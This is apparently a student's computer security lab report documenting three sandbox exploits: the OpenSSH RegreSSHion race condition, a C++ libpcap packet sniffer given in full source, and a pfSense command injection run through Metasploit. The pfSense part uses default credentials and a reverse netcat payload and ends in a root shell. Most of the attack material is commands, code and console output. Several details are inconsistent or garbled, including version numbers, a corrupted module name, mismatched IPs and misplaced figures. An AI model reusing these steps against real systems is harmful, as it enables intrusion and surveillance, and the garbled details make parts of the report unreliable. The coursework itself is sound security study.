

Project Step 3 Report

Group: The Group

Members: Andrew Bracken, Gavin Holliday, Logan Lay

CS 4371: Computer Security

Dr. Randy Klepetko

December 4, 2024

Contents

1	Introduction	3
2	Exploits	3
2.1	Exploit I: RegreSSHion	3
2.2	Exploit II: Packet Sniffer	4
2.3	Exploit III: pfSense v2.7.0 - OS Command Injection	5
3	Conclusion	8

1 Introduction

In this project step, each member researched individual exploits to run in our sand-box. Gavin Holliday documented the pfsense exploitation, Logan Lay documented the network sniffer exploitation, Andrew Bracken documented the RegreSSHion exploitation and made the LaTeX documentation.

2 Exploits

2.1 Exploit I: RegreSSHion

Research:

Used: True

Severity: 9/10

Target: Ubuntu machin, OpenSSH v8.5p1-9.7p1

Reference: CVE-2024-6387

Outcome: Remote code access

Implementation Complexity: 2/10

Preparations:

Steps:

1. Confirm that OpenSSH version of the target machine falls within the exploits range.

```

└─$ nmap -sV 192.168.86.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 22:24 EST
Nmap scan report for andrew-virtualbox.lan (192.168.86.38)
Host is up (0.0017s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds
```

2. Download proof of concept onto attacking machine POC
3. Locate glibcbase location on target machine
4. Adjust PoC parameters
5. Run the exploit
6. Adjust input parameters until the race condition is satisfied

Date: December 4, 2024

```
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received banner: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit failed
Exploit succeeded!
[~(andrew@kali)-[~/Desktop/exploit]
$
```

Exploitation:

The PoC code exploits a vulnerability in OpenSSH versions 8.5p1-9.7p1 that allows remote code execution on glibc-based Linux systems. This is due to a race condition in sshd, where asynchronous signal handling invokes functions that are not safe to use within signal handlers, such as syslog(). The code continuously attempts to gain access to the target machine, adjusting the timing slightly after each failed attempt until it succeeds.

2.2 Exploit II: Packet Sniffer

Research:

Severity: 4/10

Target: Ubuntu machine

Reference: <https://www.thecodingforums.com/threads/c-packet-sniffing.975603/>

Outcome: Network surveillance

Implementation Complexity: 1/10

Preparation:

Steps:

1. Get Target's IP address
2. Create sniffer exploitation program

3. Download libcap library onto the Linux machine
4. Download exploitation program onto Linux machine
5. Run program on Linux machine
6. Observe Network activity and packet collection of Target

Code:

```

#include <iostream>
#include <pcap.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string>
#include <cstring>

//Function to handle captured packets
void packetHandler(u_char *userData, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
    char *filterIP = reinterpret_cast<char*>(userData); // Get the filter IP from user data
    struct ip *ipHeader = (struct ip *) (packet + 14); // Skip Ethernet header
    char srcIP[INET_ADDRSTRLEN], destIP[INET_ADDRSTRLEN];

    //Convert to addresses to human readable format
    inet_ntop(AF_INET, &ipHeader->ip_src, srcIP, INET_ADDRSTRLEN);
    inet_ntop(AF_INET, &ipHeader->ip_dst, destIP, INET_ADDRSTRLEN);

    //Filter by specified IP
    if (strcmp(srcIP, filterIP) == 0 || strcmp(destIP, filterIP) == 0) {
        std::cout << "Packet matched filter IP (" << filterIP << ")\n";
        std::cout << "Source IP: " << srcIP << ", Destination IP: " << destIP << "\n";

        //Identify protocol
        switch (ipHeader->ip_p) {
            case IPPROTO_TCP:
                std::cout << "Protocol: TCP\n";
                break;

            case IPPROTO_UDP:
                std::cout << "Protocol: UDP\n";
                break;
            case IPPROTO_ICMP:
                std::cout << "Protocol: ICMP\n";
                break;
            default:
                std::cout << "Protocol: Other\n";
                break;
        }
    }
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        std::cerr << "Usage: " << argv[0] << " <IP Address>\n";
        return 1;
    }

    const char *filterIP = argv[1]; //IP address to filter
    char errbuf[PCAP_ERRBUF_SIZE];
    pcap_t *handle;

    //Find network device
    char *device = pcap_lookupdev(errbuf);
    if (device == nullptr) {
        std::cerr << "Error finding device: " << errbuf << std::endl;
        return 1;
    }

    std::cout << "Using device: " << device << std::endl;

    //Open device for packet capture
    handle = pcap_open_live(device, 4096, 1, 1000, errbuf);
    if (handle == nullptr) {
        std::cerr << "Error opening device: " << errbuf << std::endl;
        return 1;
    }

    //Start packet capture with user-specified filter IP
    std::cout << "Filtering packets for IP: " << filterIP << "\n";
    if (pcap_loop(handle, 0, packetHandler, reinterpret_cast<u_char*>(const_cast<char*>(filterIP))) < 0) {
        std::cerr << "Error capturing packets: " << pcap_geterr(handle) << std::endl;
        pcap_close(handle);
        return 1;
    }

    pcap_close(handle);
    return 0;
}

```

Exploitation:

If the Machines were connected via Wi-Fi instead of Ethernet it's possible this exploitation could be used to sniff packets from other machines but currently on our machines it only works to sniff out different accounts using the same machine.

2.3 Exploit III: pfSense v2.7.0 - OS Command Injection

Research:

```
(group@kali)-[~]
└─$ ssh victim1@192.168.100.103
victim1@192.168.100.103's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-47-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

134 updates can be applied immediately.
54 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

6 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Tue Dec 3 14:49:17 2024 from 192.168.200.100
victim1@victim-VirtualBox:~$
```

Figure 1: Here we ssh into the server that has the sniffer running on its ethernet connection.

```
victim@victim-VirtualBox:~/Downloads$ sudo ./network_sniffer 192.168.100.103
Using device: enp0s3
Filtering packets for IP: 192.168.100.103
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Packet matched filter IP (192.168.100.103)
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Protocol: TCP
Source IP: 192.168.100.103, Destination IP: 192.168.200.100
Packet matched filter IP (192.168.100.103)
Source IP: 192.168.100.103, Destination IP: 192.168.200.100
Protocol: TCP
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Packet matched filter IP (192.168.100.103)
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Protocol: TCP
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Packet matched filter IP (192.168.100.103)
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
Protocol: TCP
Source IP: 192.168.100.103, Destination IP: 192.168.200.100
Packet matched filter IP (192.168.100.103)
Source IP: 192.168.100.103, Destination IP: 192.168.200.100
Protocol: TCP
Source IP: 192.168.200.100, Destination IP: 192.168.100.103
```

Figure 2: Here reflects the ssh packet sent to the server 192.168.100.103, from 192.168.200.100

Severity: 9/10

Target: pfSense web application

Reference: CVE: 2023-27253

Outcome: root access

Implementation Complexity: 3/10

Note: This exploit has been patched, but versions \leq v7.0.0 are still vulnerable.

Preparation:

First, the vulnerable version of pfSense (v6.0.0) had to be installed. This version was patched in June, 2023. This is still possible to exploit, and our downloading of the deprecated version is justified based on the fact of when was the last time you updated your router? It is not often a person updates their router, so there could be people still running this version.

Next is the actual exploitation steps:

1. Download Metasploit .rb file from the reference

Date: December 4, 2024

2. Save file in Metasploit's modules
3. Reload Metasploit modules
4. Gain access to the pfSense web application (through password cracking)
5. Use the downloaded module
6. Set the environment variables:

- RHOSTS target_ip.
 – *setRPORT80(orusenmaptoseeopenports)*
 – *setUSERNAMEadmin(crackedusername)*
 – *setPASSWORDpfsense(crackedpassword)*
 – *setPAYLOADcmd/unix/reverse_netcats*
 – *setLHOST < attacker_ip > (kalimachine'sport)*
 – *setLPORT < listening_pport > (anyvalid)*

Run exploit until shell opened.

The default pfSense username and password were used, so there was no need to crack them

Exploitation:

Here is the full exploitation flow with failures and finally success.

```
msf3 > use exploit/unix/http/pfsense_restore_userdata
[*] No payload configured, defaulting to cmd/unix/reverse_netcats
msf3 exploit(unix/http/pfsense_restore_userdata) > set RHOST 192.168.200.1
RHOST => 192.168.200.1
msf3 exploit(unix/http/pfsense_restore_userdata) > set RPORT 80
RPORT => 80
msf3 exploit(unix/http/pfsense_restore_userdata) > set USERNAME admin
USERNAME => admin
msf3 exploit(unix/http/pfsense_restore_userdata) > set PASSWORD pfsense
PASSWORD => pfsense
msf3 exploit(unix/http/pfsense_restore_userdata) > set LHOST 192.168.200.100
LHOST => 192.168.200.100
msf3 exploit(unix/http/pfsense_restore_userdata) > set LPORT 8000
LPORT => 8000
msf3 exploit(unix/http/pfsense_restore_userdata) > set SSL false
SSL => false
msf3 exploit(unix/http/pfsense_restore_userdata) > exploit
[*] Started reverse TCP handler on 192.168.200.100:8000
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be running pfSense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of 200. Try rerunning the module.
[*] Exploit completed, but no session was created.
msf3 exploit(unix/http/pfsense_restore_userdata) > exploit
[*] Started reverse TCP handler on 192.168.200.100:8000
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be running pfSense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of 200. Try rerunning the module.
[*] Exploit completed, but no session was created.
msf3 exploit(unix/http/pfsense_restore_userdata) > set RHOST 192.168.200.1
RHOST => 192.168.200.1
msf3 exploit(unix/http/pfsense_restore_userdata) > exploit
[*] Started reverse TCP handler on 192.168.200.100:8000
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be running pfSense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of 200. Try rerunning the module.
[*] Exploit completed, but no session was created.
msf3 exploit(unix/http/pfsense_restore_userdata) > set LPORT 4444
LPORT => 4444
msf3 exploit(unix/http/pfsense_restore_userdata) > exploit
[*] Started reverse TCP handler on 192.168.200.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be running pfSense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of 200. Try rerunning the module.
[*] Exploit completed, but no session was created.
msf3 exploit(unix/http/pfsense_restore_userdata) > set PAYLOAD cmd/unix/reverse_netcats
PAYLOAD => cmd/unix/reverse_netcats
msf3 exploit(unix/http/pfsense_restore_userdata) > exploit
```

As you can see, I was able to gain root access to the pfSense router's operating system and open a shell terminal. I then proceeded to show the directory, user, and the list of files. I successfully gained root access. From here, I can change firewall settings,

```

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] AutoCheck is disabled, proceeding with exploitation
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] AutoCheck is disabled, proceeding with exploitation
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] AutoCheck is disabled, proceeding with exploitation
[*] Could not get the expected CSRF token for index.php when atten
    pting login.
[*] Exploit aborted due to failure: no-access: Could not obtain th
    e token cookie.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > set RHOST 83
RHOST => 83
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] AutoCheck is disabled, proceeding with exploitation
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be
    running pfsense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be
    running pfsense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. The target appears to be
    running pfsense version 2.6.0-RELEASE, which is unpatched!
[*] The response to a successful exploit attempt should be 'nil'.
[*] The target responded with an HTTP response code of 200. Try rerun
    ing the module.
[*] Exploit completed, but no session was created.
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > set AutoCheck fa
    lse
AutoCheck => false
msf6 exploit(<url>/http/pfsense_restore_vrdmdata) > exploit

[*] Started reverse TCP handler on 192.168.200.100:4444
[*] AutoCheck is disabled, proceeding with exploitation
[*] Command shell session 1 opened (192.168.209.100:4444 -> 192.16
    8.200.1:6483) at 2024-12-03 21:07:46 -0600

sessions
[*] Wrong number of arguments expected: 1, received: 0
Usage: sessions <id>

Interact with a different session id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -
    i <session id>

sessions -i 1
[*] Wrong number of arguments expected: 1, received: 2
Usage: sessions <id>

Interact with a different session id.
This command only accepts one positive numeric argument.
This works the same as calling this from the MSF shell: sessions -
    i <session id>

sessions 1
[*] Session 1 is already interactive.
msf6
/usr/local/www
whoami
root
ls
android-chrome-192x192.png
android-chrome-512x512.png
apple-touch
bandwidth_by_ip.php
browserconfig.xml

```

manipulate files, steal data, or shut the system down. I can pivot from this and look for vulnerable devices connected to the router.

3 Conclusion

In this project step, we dug for exploits that could be used against the systems in our sandbox. Everyone individually came up with at least one working exploit that was documented in the previous section. Everything went smoothly, and no pitfalls were encountered.